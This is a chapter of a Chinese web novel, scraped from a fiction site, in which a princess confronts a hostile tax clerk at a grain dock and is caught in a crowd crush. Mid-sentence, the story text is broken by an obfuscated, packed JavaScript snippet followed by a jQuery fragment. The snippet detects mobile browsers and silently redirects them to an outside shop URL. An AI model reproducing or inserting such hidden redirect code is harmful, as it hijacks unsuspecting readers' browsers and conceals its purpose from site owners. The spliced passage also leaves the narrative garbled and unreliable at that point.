文趣网 > 其他小说 > 镇国长公主 > 28. 暗箭难防
    盛夏的夜晚,蝉鸣渐弱,螽斯却叫得越来越响。

    伴着这样清脆的声音,沈砺沉浸在书卷中一直到外面繁星万点。

    隔着一扇竹屏风,母亲早已歇下。他轻手轻脚地推开门,外面的凉风扑面而来,让凝滞的脑海变得清明。

    方才困住他的问题此刻迎刃而解,他伸长手臂,活动了一下筋骨,回到房中正要将破题思路记录下来,目光不知怎得落在了傍晚孙庄头递给他的包裹上。

    匆匆在纸上写下了几行字,沈砺犹豫了片刻,还是没忍住在今晚就将包裹拆开。

    除了孙庄头提到的消暑药材和夏日常用来做饮子的乌梅之外,还有一小包冰糖、两块茶饼。

    另有一个单独的小包裹,里面装着一沓素纸,三支毛笔,一块砚台和两方松墨。

    这份礼物虽然价值不抵书院中世家子弟的一把扇子,但一见便知是用了心的,甚至连消暑药材对应的方子都有记录。

    母亲生病许久,沈砺求医问药数次之后,对药性也算是了解一点皮毛。这方子开的中正平和,与母亲现在所服用的药并无冲突。

    这个包裹,是专门送给我的吗?他在心中暗念。

    次日一早,沈砺用屋中的小泥炉将消暑药材煮了一份,端给了母亲。

    “我最近身体好多了,哪用得着喝药?”沈母嗔怪道。“你手头的银子不多,还是要省着点花,多添置些纸笔才是。”

    “不打紧的,娘。这是庄子上送的。”沈砺解释。“再说,我下笔之前已在胸中思虑成熟,用不到太多草稿。”

    午膳过后,他又取了一些乌梅来熬煮。

    泥炉的火候不好掌握,夏日的炎热叠加了炉子的温度,汗珠沿着额头一滴滴滑落下来。

    正狼狈间,外面突然有人呼唤:

    “见微!”

    原来是陆含章来寻他。

    “昨天院长布置的策论,你破题了吗?我想到了个好主意,来找你探讨一二。”两人已经相熟,连他的字都是陆含章的祖父,院长陆广川亲自所取。

    陆含章推门而入,又被热浪逼得倒退了半步。

    “大热天的,你在煮什么?何不让厨房帮忙?”

    沈砺的酸梅汤已经差不多熬好,只得了两小碗。

    有一碗是给母亲准备的,他将另一碗递给了陆含章。

    “昨日去庄子上讲课,推辞不过,收了些消暑的东西,你尝尝?”

    陆含章接过,被碗壁烫得差点脱手,好不容易才稳住,没让酸梅汤洒出来。他拿过蒲扇,冲着碗扇了几下,见沈砺热得冒汗,也冲着他扇了扇。

    沈母在屋里午睡,沈砺取了两个蒲团放在树下,两人一边讨论着昨晚的策论,一边将这碗酸梅汤分而饮之。

    同一日,田庄这边也熬了酸梅汤,还煮了一大锅绿豆汤,冰糖也是管够的。

    “你们庄上的待遇真不错。”小伍押着粮食到了庄子,接过阿顺递给他的小碗,一饮而尽。

    两人年纪相仿,又都自小习武,很快便熟络起来。

    阿顺的功夫一部分是家学传承,一部分是赵勇指点,讲究章法与根基。小伍则是在摸爬滚打的过程中逐渐积累了经验。

    两人曾在众人的见证下切磋了一场,阿顺虽然身形敏捷,出招也变得沉稳,却没有在小伍身上讨到太多好处。

    这几日小伍白天押货,到了晚间仍不肯休息,要与阿顺一起练习半个时辰才肯罢休,两人都进步颇多。

    从泗州来的货船已经到了两批,前后共十余艘。很快,最后一批粮食就要运抵玉京。

    萧元昭的这笔生意足够潘盛维持铺子很长一段时间的运转,接下来还有源源不断的订单,码头的事情也有手下的伙计操持。

    “待得久了,竟有些乐不思蜀。”他感叹道。

    但天不遂人愿,就在他说出这句话的当日下午,原本应该待在码头的一个伙计突然出现在了田庄。

    “东家,码头的货被扣住了,税吏不让过,说是和报关文书有些出入。”伙计脸上带着焦急。

    “什么!”潘盛从椅子上跳起来,赶忙让庄丁帮他牵马。

    萧元昭也闻讯而来。钱信在运粮一事平稳进行之后便回去了玉京的宅子,此刻她身边无人相询,只能看着潘盛匆匆离去。

    纪三爷恰好也在庄子,听闻此事之后,觉得有些蹊跷,便向萧元昭禀报:

    “殿下,潘老板这次虽然分了三批船运货,但是报关的单子从一开始就给税吏看过,当时就得了签章。”

    “若是运来的粮食少了,交上去的税钱不会退回,税吏算是得了便宜。若是多了,无非是补足税款,这些他手底下的伙计就能处置,何必叫他过去呢?”

    萧元昭眉头微皱,明白了纪三爷的意思。

    难道这次,也是冲着她来的?

    她手下的人,除了兄长留下的侍卫,和皇帝钦赐的田庄,剩下来投靠的,都被太子殿下的人为难过,潘盛或许也不例外。

    现下她的根基未稳,人手也不多。这些人中,只要有一人倒戈,都会给她带来不小的影响。

    潘盛既无背景,又身处异乡,她需迅速处置,不可让其陷入孤立无援的地步。

    萧元昭对纪三爷点点头,招呼周全备马,又让阿顺把赵勇也一并喊上。

    太子既然有所动作,她也要有备而来。

    码头边停靠着五艘船,皆属于潘盛在泗州租下的船队。每多留一日,他就要多付一日的船钱。

    船钱还是小事,若粮食不能尽数交到萧元昭手中,纵使能得到对方的原谅,他的商誉也会受到影响。

    萧元昭可是他的大主顾,一定要维持好关系。

    潘盛刚一下马,就赔着笑一路小跑到税吏的身边。

    “官爷,不知是出了何事?我这些货物在十日前就已经报过关,当时就将船税交清了呀!”

    这次的税吏与上次不同,看着有些面生。潘盛将随身携带的文书呈上,对方随手翻了翻,并未表态放行。

    码头上还站了数名等着搬货的脚夫,纪三爷车队的人也在附近看着。

    身边围了不少人,税吏却面不改色,气定神闲,像是在等人。

    随着时间的流逝,人群开始隐隐躁动起来。

    脚夫们原本可以趁着天还没黑多赚几趟搬货的钱,现下却只能干耗在这里。虽说他们来去自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682464|207490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    由,并未受到什么限制,但像萧元昭这样大方的东家是少数。

    这会儿若是离开,万一税吏松了口,再回来就不知道还有没有位置了。

    车队也派了人去联系纪三爷,告知他现场的情况。

    不过伙计刚走出去没多久,就遇上了萧元昭一行人,纪三爷也在其中。

    几人皆身骑快马,萧元昭甚至没有换下一身装束,就这样直接来到码头前。

    侍卫帮着萧元昭开道,护送她来到潘盛身边。

    “久等。”她对着潘盛微微颔首。

    “公……小姐,你怎么来了?”上次萧元昭在码头还穿着男装,潘盛现在却不能睁眼说瞎话喊她公子,犹豫了片刻,他换了个称呼。

    “潘老板不必担心,这场风波不是你的过失,是我牵连了你。”萧元昭低声安慰了他一句。

    视线对上税吏的时候,她就肯定了心中的猜测。

    “这位大人,现在可以告诉我们为什么不让船只卸货了吧?”萧元昭的个子与税吏也不相上下,但她此刻带着怒气,目光便显得有些盛气凌人。

    那税吏微微一笑,一挥手,拦在码头前的木栅终于撤了回来。

    “人多手杂,殿下可要当心。”税吏低头,目光却丝毫不躲闪。他用只有两人才能听到的声音,在一片嘈杂声中,对萧元昭说道。

    赵勇早已绷紧了全身的肌肉,像一堵墙一般挡在萧元昭身后,防止她被涌上来的脚夫冲撞到。

    周全带着其余的侍卫也都赶紧站在了她的各个方位,将她包围起来,缓慢地后撤。

    税吏逆着人流,带着随行的差役,向岸上走去。

    突然,码头上的一道绳索断开,被绑在其上的船只一拽,绳结带着余力,向人群扫去。

    萧元昭的位置离这绳索虽然不近,但四散退避的人此刻失了控制,一窝蜂地涌到侍卫身前。

    不知是谁在推搡,有人脚下一个没站稳,倒向了旁边。

    旁边的人在冲击下也难以稳住身形,伸手胡乱地向周围抓去。就这样一个传一个,连带着站在最外层的侍卫脖子上都冒出了青筋,包围圈越缩越小。

    青荇向来跟在萧元昭身边寸步不离,此时拼尽全力将萧元昭护住,声嘶力竭地让众人后退。

    阿顺也跟着她一起喊,但他们的声音很快淹没在其他人的吵嚷中。

    萧元昭注意着脚下,一步步往岸边靠去。只要离开了码头,岸边有大片的空间,足以让大家都分散开。

    十尺。

    五尺。

    到了最后,她几乎是寸步难行。

    潘盛也在旁边,被挤得脸色涨红。明明只过了半炷香的时间,他却觉得有一个时辰那样漫长。

    岸上的税吏见此情景,并未帮着维持秩序,而是好整以暇地看着码头上狼狈的众人。

    萧元昭在移动的间隙抬起头,甚至捕捉到了他嘴角的讥诮。

    赵勇扛住身后的压力,为她抢到了一个狭窄的空间,跨过去,就能到岸上。

    萧元昭没有耽搁,飞速地通过之后,立刻回头伸手接应青荇。

    “殿下小心!”青荇刚抓住她的手,脸色却刷地发白。